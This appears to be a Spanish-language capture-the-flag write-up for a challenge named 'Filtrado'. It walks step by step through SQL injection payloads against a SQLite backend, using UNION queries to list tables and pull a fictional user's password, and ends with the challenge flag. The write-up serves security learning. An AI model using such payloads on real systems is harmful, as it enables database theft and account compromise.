Filtrado

Este sistema muestra las cuentas de correo electronico que han sido filtradas en el darkweb, pero no estamos seguros si es fidedigna la informacion, para estar seguros, puedes ayudarnos a recuperar la contraseña filtrada de carlosmora@mail.com?

SQL injection

Primero se manda una comilla simple (') para saber si es vulnerable a sql injection. Podemos darnos cuenta de que es un SQLite3.

Primer payload:

```
') OR 1=1 --
```

Hacemos una consulta UNION:

```
') UNION SELECT 1,2,3,4,5 --
```

Ubicamos la versión del SQLite:

```
') UNION SELECT 1,sqlite_version(),3,4,5 --
```

Extraemos el nombre de la tabla:

```
') UNION SELECT 1,tbl_name,3,4,5 FROM sqlite_master WHERE type="table" AND tbl_name NOT like "sqlite_%" --
```

Obtenemos el password de alguna cuenta:

```
') UNION SELECT 1,password,3,4,5 FROM accounts --
```

Payload final:

```
') UNION SELECT 1,password,3,4,5 FROM accounts WHERE email="carlosmora@mail.com" --
```

Flag:

```
hackdef{sql_1nj3ct10n_3v3rywh3re!}
```